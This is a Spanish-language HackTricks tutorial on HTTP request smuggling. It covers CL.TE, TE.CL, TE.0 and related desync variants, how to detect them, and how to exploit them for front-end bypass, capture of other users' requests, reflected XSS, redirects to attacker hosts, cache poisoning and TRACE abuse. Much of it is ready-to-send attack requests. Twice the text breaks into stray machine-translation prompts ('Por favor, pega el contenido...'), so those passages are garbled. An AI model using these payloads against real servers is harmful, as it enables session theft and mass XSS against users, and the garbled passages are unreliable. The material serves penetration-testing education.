HTTP Request Smuggling / HTTP Desync Attack

Reading time: 33 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es

Esta vulnerabilidad ocurre cuando una desincronización entre front-end proxies y el servidor back-end permite que un atacante envíe una request HTTP que será interpretada como una sola request por los front-end proxies (load balance/reverse-proxy) y como 2 requests por el servidor back-end.
Esto permite a un usuario modificar la siguiente request que llega al back-end server después de la suya.

Teoría

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Realidad

El Front-End (a load-balance / Reverse Proxy) procesa el content-length o el transfer-encoding header y el servidor Back-end procesa el otro, provocando una desincronización entre los 2 sistemas.
Esto puede ser muy crítico ya que un atacante podrá enviar una request al reverse proxy que será interpretada por el servidor back-end como 2 requests diferentes. El peligro de esta técnica reside en que el servidor back-end interpretará la segunda request inyectada como si viniera del siguiente cliente y la request real de ese cliente será parte de la request inyectada.

Particularidades

Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:

  • Content-Length: Este header usa un número decimal para indicar el número de bytes del body de la request. Se espera que el body termine en el último carácter, no se necesita una nueva línea al final de la request.
  • Transfer-Encoding: Este header usa en el body un número hexadecimal para indicar el número de bytes del siguiente chunk. El chunk debe terminar con una nueva línea pero esa nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un chunk de tamaño 0 seguido de 2 nuevas líneas: 0
  • Connection: Basado en mi experiencia, se recomienda usar Connection: keep-alive en la primera request del request Smuggling.

Ejemplos básicos

tip

Al intentar explotar esto con Burp Suite desactiva Update Content-Length y Normalize HTTP/1 line endings en el repeater porque algunos gadgets abusan de newlines, carriage returns y content-lengths malformados.

Los ataques de HTTP request smuggling se crean enviando requests ambiguas que explotan discrepancias en cómo front-end y back-end interpretran los headers Content-Length (CL) y Transfer-Encoding (TE). Estos ataques pueden manifestarse de diferentes formas, principalmente como CL.TE, TE.CL, y TE.TE. Cada tipo representa una combinación única de cómo los servidores front-end y back-end priorizan estos headers. Las vulnerabilidades surgen cuando los servidores procesan la misma request de maneras diferentes, llevando a resultados inesperados y potencialmente maliciosos.

Ejemplos básicos de tipos de vulnerabilidad

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

A la tabla anterior deberías añadir la técnica TE.0, similar a la técnica CL.0 pero usando Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Procesa la request basándose en el header Content-Length.

  • Back-End (TE): Procesa la request basándose en el header Transfer-Encoding.

  • Escenario de ataque:

  • El atacante envía una request donde el valor del header Content-Length no coincide con la longitud real del contenido.

  • El front-end server reenvía la request completa al back-end, basándose en el valor de Content-Length.

  • El back-end server procesa la request como chunked debido al header Transfer-Encoding: chunked, interpretando los datos restantes como una request separada y subsecuente.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Procesa la request basándose en el header Transfer-Encoding.

  • Back-End (CL): Procesa la request basándose en el header Content-Length.

  • Escenario de ataque:

  • El atacante envía una request chunked donde el tamaño del chunk (7b) y la longitud real del contenido (Content-Length: 4) no coinciden.

  • El front-end server, respetando Transfer-Encoding, reenvía la request completa al back-end.

  • El back-end server, respetando Content-Length, procesa solo la parte inicial de la request (7b bytes), dejando el resto como parte de una request subsecuente no intencionada.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Ambos soportan Transfer-Encoding, pero uno puede ser engañado para ignorarlo mediante obfuscación.

  • Escenario de ataque:

  • El atacante envía una request con headers Transfer-Encoding obfuscados.

  • Dependiendo de cuál servidor (front-end o back-end) no reconozca la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.

  • La parte no procesada de la request, tal como la ve uno de los servidores, se convierte en parte de una request subsecuente, llevando al smuggling.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Ambos servidores procesan la request basándose únicamente en el header Content-Length.
  • Este escenario típicamente no conduce a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la request.
  • Ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Se refiere a escenarios donde el header Content-Length está presente y tiene un valor distinto de cero, indicando que el body de la request tiene contenido. El back-end ignora el header Content-Length (que es tratado como 0), pero el front-end lo parsea.
  • Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una request.
  • Ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Igual que el anterior pero usando TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Romper el servidor web

Esta técnica también es útil en escenarios donde es posible romper un servidor web mientras se leen los datos HTTP iniciales pero sin cerrar la conexión. De este modo, el body del HTTP request será considerado el siguiente HTTP request.

Por ejemplo, como se explica en this writeup, en Werkzeug era posible enviar algunos caracteres Unicode y eso provocaba que el servidor se rompiera. Sin embargo, si la conexión HTTP se creó con la cabecera Connection: keep-alive, el body de la request no se leerá y la conexión permanecerá abierta, por lo que el body de la request será tratado como la siguiente HTTP request.

Forzar mediante hop-by-hop headers

Abusando de los hop-by-hop headers puedes indicarle al proxy que elimine la cabecera Content-Length o Transfer-Encoding, de modo que sea posible explotar un HTTP request smuggling.

Connection: Content-Length

For más información sobre hop-by-hop headers visita:

hop-by-hop headers

Finding HTTP Request Smuggling

La identificación de vulnerabilidades de HTTP request smuggling a menudo puede lograrse usando técnicas de temporización, que se basan en observar cuánto tarda el servidor en responder a solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, existen otras estrategias y herramientas que pueden usarse para encontrar dichas vulnerabilidades:

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Método:

  • Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observación:

  • El front-end procesa la solicitud en base a Content-Length y corta el mensaje prematuramente.

  • El back-end, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.

  • Indicadores:

  • Timeouts o largos retrasos en la respuesta.

  • Recibir un 400 Bad Request del back-end, a veces con información detallada del servidor.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Método:

  • Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observación:
  • El front-end procesa la solicitud en base a Transfer-Encoding y reenvía el mensaje completo.
  • El back-end, esperando un mensaje basado en Content-Length, espera datos adicionales que nunca llegan, causando un retraso.

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • Envía versiones ligeramente diferentes de una solicitud y observa si las respuestas del servidor difieren de manera inesperada, lo que indicaría una discrepancia en el parsing.
  • Using Automated Tools:
  • Herramientas como Burp Suite's 'HTTP Request Smuggler' extension pueden probar automáticamente estas vulnerabilidades enviando varias formas de solicitudes ambiguas y analizando las respuestas.
  • Content-Length Variance Tests:
  • Envía solicitudes con distintos valores de Content-Length que no concuerden con la longitud real del contenido y observa cómo el servidor maneja tales desajustes.
  • Transfer-Encoding Variance Tests:
  • Envía solicitudes con cabeceras Transfer-Encoding ofuscadas o malformadas y monitorea cómo responden de forma diferente el front-end y el back-end a esas manipulaciones.

HTTP Request Smuggling Vulnerability Testing

Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes del cliente pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes; por ejemplo, hacer que una solicitud a / devuelva un 404. Los ejemplos CL.TE y TE.CL discutidos previamente en Basic Examples muestran cómo envenenar la solicitud de un cliente para provocar un 404, a pesar de que el cliente intentaba acceder a otro recurso.

Consideraciones clave

Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:

  • Conexiones de red distintas: Las solicitudes "de ataque" y "normales" deben enviarse por conexiones de red separadas. Usar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
  • URL y parámetros consistentes: Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo enrutan solicitudes a servidores back-end específicos según la URL y los parámetros. Coincidirlos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito para un ataque exitoso.
  • Condiciones de carrera y temporización: La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite con otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la "de ataque". Aplicaciones con mucho tráfico pueden requerir múltiples intentos para una confirmación concluyente.
  • Desafíos de load balancing: Los front-ends que actúan como load balancers pueden distribuir solicitudes entre varios sistemas back-end. Si la solicitud "de ataque" y la "normal" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
  • Impacto involuntario en otros usuarios: Si tu ataque afecta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, por lo que es necesario proceder con cautela.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

La reutilización de conexiones (keep-alive) y el pipelining pueden fácilmente producir ilusiones de "smuggling" en herramientas de prueba que envían múltiples solicitudes sobre el mismo socket. Aprende a separar artefactos inocuos del lado del cliente de una desincronización real del lado del servidor.

Why pipelining creates classic false positives

HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena solicitudes y respuestas en el mismo flujo. En pipelining, el cliente envía múltiples solicitudes una tras otra y confía en respuestas en orden. Un falso positivo común es re-enviar dos veces un payload malformado estilo CL.0 en una sola conexión:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Por favor, pega el contenido del archivo src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca al español. Seguiré las reglas indicadas (conservaré código, nombres técnicos, enlaces, rutas y etiquetas tal cual).

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si el servidor ignoró el Content_Length malformado, no hay FE↔BE desync. Con reutilización, tu cliente en realidad envió este flujo de bytes, que el servidor analizó como dos solicitudes independientes:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impacto: ninguno. Simplemente desincronizaste tu cliente respecto al framing del servidor.

tip

Módulos de Burp que dependen de reuse/pipelining: Turbo Intruder con requestsPerConnection>1, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".

Pruebas definitivas: pipelining o desync real?

  1. Disable reuse and re-test
  • En Burp Intruder/Repeater, desactiva HTTP/1 reuse y evita "Send group in sequence".
  • En Turbo Intruder, configura requestsPerConnection=1 y pipeline=False.
  • Si el comportamiento desaparece, probablemente era pipelining del cliente, a menos que estés tratando con targets connection-locked/stateful o con desync del lado del cliente.
  1. HTTP/2 nested-response check
  • Envía una petición HTTP/2. Si el body de la respuesta contiene una respuesta HTTP/1 completa anidada, has probado un bug de parsing/desync en el backend en lugar de un artefacto puro del cliente.
  1. Partial-requests probe for connection-locked front-ends
  • Algunos FE solo reutilizan la conexión upstream si el cliente reutilizó la suya. Usa partial-requests para detectar comportamiento del FE que refleja el reuse del cliente.
  • Véase PortSwigger "Browser‑Powered Desync Attacks" para la técnica connection-locked.
  1. State probes
  • Busca diferencias entre la primera petición y las posteriores en la misma conexión TCP (routing/validation de la primera petición).
  • Burp "HTTP Request Smuggler" incluye una conexión‑state probe que automatiza esto.
  1. Visualize the wire
  • Usa la extensión de Burp "HTTP Hacker" para inspeccionar la concatenación y el framing de mensajes directamente mientras experimentas con reuse y partial requests.

Connection‑locked request smuggling (reuse-required)

Algunos front-ends solo reutilizan la conexión upstream cuando el cliente reutiliza la suya. El smuggling real existe pero es condicional al reuse del lado del cliente. Para distinguir y demostrar impacto:

  • Prueba el bug del lado del servidor
  • Usa el HTTP/2 nested-response check, o
  • Usa partial-requests para mostrar que el FE solo reutiliza upstream cuando el cliente lo hace.
  • Muestra impacto real aunque el abuso directo de sockets cross-user esté bloqueado:
    • Cache poisoning: envenena caches compartidas vía el desync para que las respuestas afecten a otros usuarios.
    • Internal header disclosure: refleja headers inyectados por el FE (por ejemplo, auth/trust headers) y pivota hacia un auth bypass.
    • Bypass FE controls: smuggle rutas/métodos restringidos más allá del front-end.
    • Host-header abuse: combina con peculiaridades del host routing para pivotar a vhosts internos.
  • Operator workflow
    • Reproduce con reuse controlado (Turbo Intruder requestsPerConnection=2, o Burp Repeater tab group → "Send group in sequence (single connection)").
    • Luego encadena hacia primitives de cache/header-leak/control-bypass y demuestra impacto cross-user o de autorización.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Si estás atacando desync alimentado por navegador/client-side, la petición maliciosa debe ser enviable por un browser cross-origin. Los trucos de header obfuscation no funcionarán. Enfócate en primitives alcanzables vía navigation/fetch, y luego pivota a cache poisoning, header disclosure o bypass de controles front-end cuando componentes downstream reflejen o cacheen respuestas.

Para contexto y workflows end‑to‑end:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): expone comportamiento HTTP a bajo nivel y concatenación de sockets.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: control preciso sobre connection reuse vía requestsPerConnection.
  • Burp HTTP Request Smuggler: incluye una connection‑state probe para detectar routing/validation de la primera petición.

note

Trata los efectos que dependen solo de reuse como no-problemas a menos que puedas probar un desync del lado del servidor y adjuntar un impacto concreto (artefacto de cache envenenada, internal header leak que permite bypass de privilegios, control del FE bypassed, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

A veces, los proxies front-end imponen medidas de seguridad y escrutan las peticiones entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo acceso no autorizado a endpoints restringidos. Por ejemplo, acceder a /admin puede estar prohibido desde el exterior, con el proxy front-end bloqueando activamente esos intentos. No obstante, este proxy puede no inspeccionar las peticiones embebidas dentro de una petición HTTP smuggled, dejando una brecha para eludir estas restricciones.

Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede usarse para evadir controles de seguridad del front-end, apuntando específicamente al path /admin que típicamente está protegido por el proxy front-end:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

En el ataque CL.TE, la cabecera Content-Length se aprovecha para la solicitud inicial, mientras que la solicitud incrustada posterior utiliza la cabecera Transfer-Encoding: chunked. El proxy frontal procesa la solicitud POST inicial pero no inspecciona la solicitud incrustada GET /admin, permitiendo el acceso no autorizado a la ruta /admin.

TE.CL Ejemplo

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por el contrario, en el ataque TE.CL, la solicitud inicial POST usa Transfer-Encoding: chunked, y la solicitud embebida posterior se procesa según la cabecera Content-Length. De forma similar al ataque CL.TE, el proxy front-end pasa por alto la smuggled GET /admin, concediendo involuntariamente acceso a la ruta restringida /admin.

Revelando la reescritura de solicitudes en el front-end

Las aplicaciones suelen emplear un front-end server para modificar las peticiones entrantes antes de pasarlas al back-end server. Una modificación típica consiste en añadir cabeceras, como X-Forwarded-For: <IP of the client>, para retransmitir la IP del cliente al back-end. Entender estas modificaciones puede ser crucial, ya que podría revelar formas de eludir protecciones o descubrir información o endpoints ocultos.

Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleje en la respuesta. Luego, crea una solicitud utilizando ese parámetro al final, similar a lo siguiente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

En esta estructura, los componentes de la solicitud subsiguiente se anexan después de search=, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsiguiente.

Es importante alinear el encabezado Content-Length de la solicitud anidada con la longitud real del contenido. Es recomendable comenzar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede provocar que la solicitud falle.

Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debería terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.

Este método sirve principalmente para entender las modificaciones de solicitud realizadas por el proxy front-end, realizando esencialmente una investigación autodirigida.

Capturando las solicitudes de otros usuarios

Es factible capturar las solicitudes del siguiente usuario agregando una solicitud específica como el valor de un parámetro durante una operación POST. Así es como esto puede llevarse a cabo:

Al anexar la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

En este escenario, el comment parameter está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud siguiente aparecerá como un comentario.

Sin embargo, esta técnica tiene limitaciones. En general captura datos solo hasta el delimitador de parámetros usado en la smuggled request. Para envíos de formularios URL-encoded, este delimitador es el carácter &. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer &, que incluso puede ser parte del query string.

Además, cabe destacar que este enfoque también es viable con una vulnerabilidad TE.CL. En esos casos, la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.

Usando HTTP request smuggling para explotar reflected XSS

HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a Reflected XSS, ofreciendo ventajas significativas:

  • La interacción con los usuarios objetivo no es necesaria.
  • Permite la explotación de XSS en partes de la solicitud que son normalmente inalcanzables, como HTTP request headers.

En escenarios en los que un sitio web es susceptible a Reflected XSS a través del header User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload está estructurado para explotar la vulnerabilidad de la siguiente manera:

  1. Iniciando una petición POST, aparentemente típica, con el encabezado Transfer-Encoding: chunked para indicar el inicio del smuggling.
  2. Seguida de un 0, marcando el final del cuerpo del mensaje chunked.
  3. Luego se introduce una petición GET smuggled, donde el encabezado User-Agent es inyectado con un script, <script>alert(1)</script>, desencadenando el XSS cuando el servidor procesa esta petición posterior.

Al manipular el User-Agent mediante smuggling, el payload elude las restricciones normales de las peticiones, explotando así la vulnerabilidad Reflected XSS de una manera no estándar pero efectiva.

HTTP/0.9

caution

En caso de que el contenido del usuario se refleje en una respuesta con un Content-type como text/plain, se impediría la ejecución del XSS. Si el servidor soporta HTTP/0.9 ¡podría ser posible sortear esto!

La versión HTTP/0.9 fue anterior a la 1.0 y solo usa verbos GET y no responde con headers, solo con el body.

En this writeup, esto fue abusado mediante request smuggling y un endpoint vulnerable que responde con la entrada del usuario para introducir una petición con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una falsa respuesta HTTP/1.1 (con headers y body), por lo que la respuesta contendría código JS ejecutable válido con un Content-Type de text/html.

Explotando redirecciones en el mismo sitio con HTTP Request Smuggling

Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del encabezado Host en la URL de redirección. Esto es común con servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin la barra final resulta en una redirección para incluir la barra:

GET /home HTTP/1.1
Host: normal-website.com

Resulta en:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Aunque aparentemente inofensivo, este comportamiento puede manipularse usando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Esta smuggled request podría provocar que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resulta en:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer al usuario sirviendo JavaScript malicioso en respuesta.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning can be executed if any component of the infraestructura front-end almacena en caché contenido, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible poison the cache.

Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (consultar Basic Examples). De manera similar, es factible engañar al servidor para que entregue el contenido de /index.html en respuesta a una solicitud de /static/include.js. En consecuencia, el contenido de /static/include.js se reemplaza en la caché por el de /index.html, dejando /static/include.js inaccesible para los usuarios, lo que puede derivar en un Denial of Service (DoS).

Esta técnica se vuelve especialmente potente si se descubre una Open Redirect vulnerability o si existe un on-site redirect to an open redirect. Tales vulnerabilidades pueden explotarse para reemplazar el contenido en caché de /static/include.js por un script controlado por el atacante, posibilitando esencialmente un ataque masivo de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el /static/include.js actualizado.

Below is an illustration of exploiting cache poisoning combined with an on-site redirect to open redirect. The objective is to alter the cache content of /static/include.js to serve JavaScript code controlled by the attacker:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Fíjate en la request embebida que apunta a /post/next?postId=3. Esta request será redirigida a /post?postId=4, utilizando el Host header value para determinar el dominio. Al alterar el Host header, el atacante puede redirigir la request a su dominio (on-site redirect to open redirect).

Tras un exitoso socket poisoning, se debe iniciar una GET request para /static/include.js. Esta request será contaminada por la request previa de on-site redirect to open redirect y obtendrá el contenido del script controlado por el atacante.

Posteriormente, cualquier request para /static/include.js servirá el contenido cacheado del script del atacante, lanzando efectivamente un ataque XSS a gran escala.

Usando HTTP request smuggling para realizar web cache deception

¿Cuál es la diferencia entre web cache poisoning y web cache deception?

  • En web cache poisoning, el atacante hace que la aplicación almacene contenido malicioso en la cache, y ese contenido se sirve desde la cache a otros usuarios de la aplicación.
  • En web cache deception, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la cache, y luego el atacante recupera ese contenido de la cache.

El atacante construye una smuggled request que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si esta smuggled request envenena una entrada de caché destinada a contenido estático (por ejemplo, /someimage.png), los datos sensibles de la víctima procedentes de /private/messages podrían almacenarse en caché bajo la entrada del contenido estático. En consecuencia, el atacante podría recuperar potencialmente estos datos sensibles en caché.

Abusar de TRACE mediante HTTP Request Smuggling

En este post se sugiere que si el servidor tiene el método TRACE habilitado podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier header enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Por favor pega aquí el contenido del archivo src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca. Traduciré el texto relevante al español manteniendo exactamente la misma sintaxis markdown/html y sin traducir código, nombres de técnicas, links, rutas ni tags.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un ejemplo de cómo abusar de este comportamiento sería smuggle primero un HEAD request. Esta request será respondida únicamente con los headers de un GET request (Content-Type entre ellos). Y smuggle inmediatamente después del HEAD un TRACE request, que estará reflecting the sent data.\ Como la response del HEAD contendrá un header Content-Length, la response del TRACE request será tratada como el body de la response HEAD, por lo tanto reflejando datos arbitrarios en la respuesta.\ Esta response será enviada a la siguiente request sobre la conexión, por lo que esto podría ser usado en un cached JS file por ejemplo para inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Se recomienda continuar siguiendo this post, que sugiere otra forma de abusar del método TRACE. Como se comentó, smuggling un HEAD request y un TRACE request permite controlar algunos datos reflejados en la response al HEAD request. La longitud del body del HEAD request está básicamente indicada en el header Content-Length y se forma con la response al TRACE request.

Por lo tanto, la nueva idea sería que, conociendo ese Content-Length y los datos suministrados en la TRACE response, es posible hacer que la TRACE response contenga una valid HTTP response después del último byte indicado por el Content-Length, permitiendo a un atacante controlar completamente la request hacia la siguiente response (lo cual podría usarse para realizar un cache poisoning).

Ejemplo:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generará estas respuestas (observe cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de la HEAD y, una vez que termina el Content-Length de la HEAD, se smuggled una respuesta HTTP válida):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
